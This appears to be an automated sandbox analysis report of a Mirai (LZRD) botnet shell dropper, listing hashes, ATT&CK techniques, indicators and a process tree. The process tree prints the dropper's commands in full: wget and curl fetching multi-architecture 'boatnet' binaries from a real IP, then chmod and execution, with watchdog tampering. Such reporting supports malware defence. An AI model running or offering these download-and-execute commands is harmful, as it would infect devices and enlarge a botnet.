mirai | 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
18-01-2025 03:08

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General

Target

21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh
Size

2KB
MD5

95a4c9ceeaff1ba0b6b54a2ca6657d9b
SHA1

3d204079c491b73eb2e8000ad770bfb538f3bb79
SHA256

21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6
SHA512

227a981ea250c3f5f7db4eca15456302c014893198d403001ee38f321ed7893c48d6ff50768fceefbdb6cb9592dd4192b31ed22baf4c96652fb527c1c1700f6b

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1564	chmod
1596	chmod
1660	chmod
1668	chmod
1582	chmod
1524	chmod
1548	chmod
1572	chmod
1642	chmod
1652	chmod
1532	chmod
1540	chmod
1556	chmod
1608	chmod
1624	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1525	WTF
/tmp/WTF	1533	WTF
/tmp/WTF	1541	WTF
/tmp/WTF	1549	WTF
/tmp/WTF	1557	WTF
/tmp/WTF	1565	WTF
/tmp/WTF	1573	WTF
/tmp/WTF	1583	WTF
/tmp/WTF	1597	WTF
/tmp/WTF	1609	WTF
/tmp/WTF	1625	WTF
/tmp/WTF	1643	WTF
/tmp/WTF	1653	WTF
/tmp/WTF	1661	WTF
/tmp/WTF	1669	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1347/cmdline	WTF
File opened for reading	/proc/530/cmdline	WTF
File opened for reading	/proc/733/cmdline	WTF
File opened for reading	/proc/1026/cmdline	WTF
File opened for reading	/proc/1358/cmdline	WTF
File opened for reading	/proc/478/cmdline	WTF
File opened for reading	/proc/724/cmdline	WTF
File opened for reading	/proc/1544/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/547/cmdline	WTF
File opened for reading	/proc/1670/cmdline	WTF
File opened for reading	/proc/1536/cmdline	WTF
File opened for reading	/proc/1135/cmdline	WTF
File opened for reading	/proc/927/cmdline	WTF
File opened for reading	/proc/488/cmdline	WTF
File opened for reading	/proc/564/cmdline	WTF
File opened for reading	/proc/969/cmdline	WTF
File opened for reading	/proc/1197/cmdline	WTF
File opened for reading	/proc/1200/cmdline	WTF
File opened for reading	/proc/1544/cmdline	WTF
File opened for reading	/proc/1026/cmdline	WTF
File opened for reading	/proc/1528/cmdline	WTF
File opened for reading	/proc/1328/cmdline	WTF
File opened for reading	/proc/1319/cmdline	WTF
File opened for reading	/proc/453/cmdline	WTF
File opened for reading	/proc/1542/cmdline	WTF
File opened for reading	/proc/1670/cmdline	WTF
File opened for reading	/proc/1102/cmdline	WTF
File opened for reading	/proc/1646/cmdline	WTF
File opened for reading	/proc/462/cmdline	WTF
File opened for reading	/proc/1654/cmdline	WTF
File opened for reading	/proc/1264/cmdline	WTF
File opened for reading	/proc/1051/cmdline	WTF
File opened for reading	/proc/978/cmdline	WTF
File opened for reading	/proc/1241/cmdline	WTF
File opened for reading	/proc/1566/cmdline	WTF
File opened for reading	/proc/504/cmdline	WTF
File opened for reading	/proc/1264/cmdline	WTF
File opened for reading	/proc/1026/cmdline	WTF
File opened for reading	/proc/539/cmdline	WTF
File opened for reading	/proc/1672/cmdline	WTF
File opened for reading	/proc/671/cmdline	WTF
File opened for reading	/proc/1081/cmdline	WTF
File opened for reading	/proc/1182/cmdline	WTF
File opened for reading	/proc/1201/cmdline	WTF
File opened for reading	/proc/1098/cmdline	WTF
File opened for reading	/proc/480/cmdline	WTF
File opened for reading	/proc/1664/cmdline	WTF
File opened for reading	/proc/978/cmdline	WTF
File opened for reading	/proc/1319/cmdline	WTF
File opened for reading	/proc/1241/cmdline	WTF
File opened for reading	/proc/1170/cmdline	WTF
File opened for reading	/proc/706/cmdline	WTF
File opened for reading	/proc/1163/cmdline	WTF
File opened for reading	/proc/414/cmdline	WTF
File opened for reading	/proc/462/cmdline	WTF
File opened for reading	/proc/498/cmdline	WTF
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/1574/cmdline	WTF
File opened for reading	/proc/978/cmdline	WTF
File opened for reading	/proc/466/cmdline	WTF
File opened for reading	/proc/1519/cmdline	WTF
File opened for reading	/proc/462/cmdline	WTF
File opened for reading	/proc/1508/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1530	curl
1529	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTF	21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.x86	curl

/tmp/21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh
/tmp/21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh
1⤵
- Writes file to tmp directory
PID:1516
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1523
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.x86 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1525
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.mips boatnet.x86 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1533
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.mips boatnet.x86 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.i468
  2⤵
  PID:1545
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1549
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.i686
  2⤵
  PID:1553
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1557
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.x86_64
  2⤵
  PID:1561
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1565
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1569
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-qwgTpB systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1573
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1577
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1583
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1587
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1597
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1601
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1606
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-684ALP systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1609
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1613
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1625
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1629
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1634
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-bolt.service-EhZrSK systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1643
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1647
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1653
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1657
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1658
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1660
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1661
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1665
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1666
- /bin/chmod
  chmod +x 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-kM39Xd netplan_6s4sb40f snap-private-tmp ssh-66oixxus1FZ6 systemd-private-a87e9c3960e742b48afea8b8dc7717e6-colord.service-uaLdXH systemd-private-a87e9c3960e742b48afea8b8dc7717e6-ModemManager.service-GAP7dZ systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-resolved.service-I1OBZc systemd-private-a87e9c3960e742b48afea8b8dc7717e6-systemd-timedated.service-GmcJAc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1668
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1669

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
313c4b235e0e62ca38eb04bfa7677e44

SHA1
c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

SHA256
dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

SHA512
0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad

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